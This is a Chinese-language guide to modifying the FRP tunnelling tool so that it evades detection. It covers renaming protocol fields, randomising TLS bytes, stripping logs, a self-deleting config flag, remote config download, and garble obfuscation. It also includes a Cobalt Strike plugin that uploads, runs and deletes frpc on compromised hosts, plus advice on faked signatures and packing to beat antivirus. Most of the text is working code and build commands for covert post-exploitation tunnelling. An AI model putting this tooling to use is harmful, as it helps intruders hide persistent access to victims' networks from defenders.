FRP 二开与特征修改详细指南

1. 准备工作

• FRP版本: 0.58.1
• Go版本: go1.22.4
• 目标平台: windows/amd64
• 项目地址: https://github.com/Arcueld/Afrp

2. 特征修改核心步骤

2.1 修改通信协议特征

文件: frp/pkg/msg/msg.go

修改Login结构体字段名，避免使用默认字段名：

type Login struct {
    Version      string            `json:"q"`
    Hostname     string            `json:"w"`
    Os           string            `json:"e"`
    Arch         string            `json:"r"`
    User         string            `json:"t"`
    PrivilegeKey string            `json:"y"`
    Timestamp    int64             `json:"u"`
    RunID        string            `json:"i"`
    Metas        map[string]string `json:"o"`
    ClientSpec   ClientSpec        `json:"client_spec,omitempty"`
    PoolCount    int               `json:"pool_count,omitempty"`
}

2.2 修改默认salt值

文件:

• frp/server/service.go
• frp/client/service.go

2.3 修改TLS特征

文件: frp/pkg/util/net/tls.go

改为动态生成TLS头字节：

var FRPTLSHeadByte int

func init() {
    var err error
    FRPTLSHeadByte, err = GenerateRandomByte()
    if err != nil {
        fmt.Sprintf("Failed to generate random byte: %v", err)
    }
}

func GenerateRandomByte() (int, error) {
    n, err := rand.Int(rand.Reader, big.NewInt(0x90))
    if err != nil {
        return 0, err
    }
    return int(n.Int64()) + 0x50, nil
}

2.4 修改版本号

文件: /pkg/util/version/version.go

2.5 删除日志输出

全局搜索并注释掉以下日志输出：

• log.infof
• xl.Infof
• warn和error日志(可选)

3. 自定义功能添加

3.1 帮助页面自定义

文件: frp/cmd/frpc/sub/root.go

3.2 配置文件自删除功能

文件: frp/cmd/frpc/sub/root.go

添加参数-s或--suicide实现执行后删除配置文件：

// 添加参数定义
rootCmd.PersistentFlags().BoolVarP(&suicide, "suicide", "s", false, "Delete config file after execution")

// 在执行逻辑中添加
if suicide {
    os.Remove(configFile)
}

3.3 远程加载配置文件功能

添加-r参数支持远程下载配置文件：

import (
    "io/ioutil"
    "net/http"
    "io"
)

func downloadConfigFile(url string) (string, error) {
    resp, err := http.Get(url)
    if err != nil {
        return "", fmt.Errorf("failed to download config file: %w", err)
    }
    defer resp.Body.Close()
    
    if resp.StatusCode != http.StatusOK {
        return "", fmt.Errorf("failed to download config file: status code %d", resp.StatusCode)
    }
    
    tempFile, err := ioutil.TempFile("", "frpc_remote_config_*.ini")
    if err != nil {
        return "", fmt.Errorf("failed to create temp file: %w", err)
    }
    defer tempFile.Close()
    
    _, err = io.Copy(tempFile, resp.Body)
    if err != nil {
        return "", fmt.Errorf("failed to write to temp file: %w", err)
    }
    
    return tempFile.Name(), nil
}

4. 编译与混淆

4.1 常规编译

使用build.bat脚本：

@echo off
setlocal
set CGO_ENABLED=0
set GOARCH=amd64

:: Set environment for Windows build
set GOOS=windows
:: Build for Windows
go build -trimpath -ldflags "-s -w" -buildvcs=false -o bin\frps.exe .\cmd\frps
go build -trimpath -ldflags "-s -w" -buildvcs=false -o bin\frpc.exe .\cmd\frpc

:: Set environment for Linux build
set GOOS=linux
:: Build for Linux
go build -trimpath -ldflags "-s -w" -buildvcs=false -o bin/frps .\cmd\frps
go build -trimpath -ldflags "-s -w" -buildvcs=false -o bin/frpc .\cmd\frpc

endlocal
pause

4.2 使用garble混淆

安装garble:

go install mvdan.cc/garble@latest

修改编译脚本:

@echo off
setlocal
set CGO_ENABLED=0
set GOARCH=amd64

:: Set environment for Windows build
set GOOS=windows
:: Build for Windows
garble build -trimpath -ldflags "-s -w" -buildvcs=false -o bin\frps.exe .\cmd\frps
garble build -trimpath -ldflags "-s -w" -buildvcs=false -o bin\frpc.exe .\cmd\frpc

:: Copy frpc.exe to cs_frp_plugin directory
copy bin\frpc.exe cs_frp_plugin\frpc.exe

:: Set environment for Linux build
set GOOS=linux
:: Build for Linux
garble build -trimpath -ldflags "-s -w" -buildvcs=false -o bin/frps .\cmd\frps
garble build -trimpath -ldflags "-s -w" -buildvcs=false -o bin/frpc .\cmd\frpc

endlocal
pause

4.3 添加资源文件

使用rsrc嵌入图标资源:

go install github.com/akavel/rsrc@latest
rsrc -ico icon.ico -o ./cmd/frpc/icon.syso
rsrc -ico icon.ico -o ./cmd/frps/icon.syso

5. Cobalt Strike插件集成

基于xq17脚本改写:

popup beacon_bottom {
    menu "Frp" {
        item "Upload" {
            $bid = $1;
            $dialog = dialog("Upload frpc", %(UploadPath => "C:\\Windows\\Temp\\", bid => $bid), &upload);
            drow_text($dialog, "UploadPath", "path: ");
            dbutton_action($dialog, "ok");
            dialog_show($dialog);
        }
        
        sub upload {
            # switch to specify path
            bcd($bid, $3['UploadPath']);
            bsleep($bid, 0,0);
            bupload($bid, script_resource("/scripts/frpc.toml"));
            bupload($bid, script_resource("/scripts/frpc.exe"));
            show_message("Executing cmmand!");
        }
        
        item "Run" {
            $bid = $1;
            $dialog = dialog("Run frpc", %(uri => "frpc.toml -s", bid => $bid), &run);
            drow_text($dialog, "uri", "configURI: ");
            dbutton_action($dialog, "ok");
            dialog_show($dialog);
        }
        
        sub run {
            local('$Uri');
            $Uri = $3['uri'];
            bshell($bid, "frpc.exe -o $+ $Uri ");
            show_message("Executing cmmand!");
            bsleep($bid, 10, 0);
        }
        
        item "Delete" {
            # local("bid");
            bshell($1, "taskkill /f /t /im frpc.exe && del /f /s /q frpc.exe");
        }
    }
}

功能说明:

1. Upload: 上传frpc.exe和frpc.toml配置文件
2. Run: 执行frpc并自动删除配置文件(使用-s参数)
3. Delete: 终止frpc进程并删除相关文件

6. 免杀建议

1. 使用garble进行代码混淆
2. 添加合法的数字签名(伪造签名可参考: https://uknowsec.cn/posts/notes/FRP%E6%94%B9%E9%80%A0%E8%AE%A1%E5%88%92.html)
3. 对生成的二进制文件进行加壳压缩
4. VT检测对比显示混淆后的版本检测率显著降低

7. 注意事项

1. 高版本FRP默认开启TLS，修改特征意义有限但仍有必要
2. Server端日志可以不删除，除非有多级代理需求
3. 编译时添加-s -w标志禁用调试信息
4. 使用-trimpath和-buildvcs=false减少构建信息泄露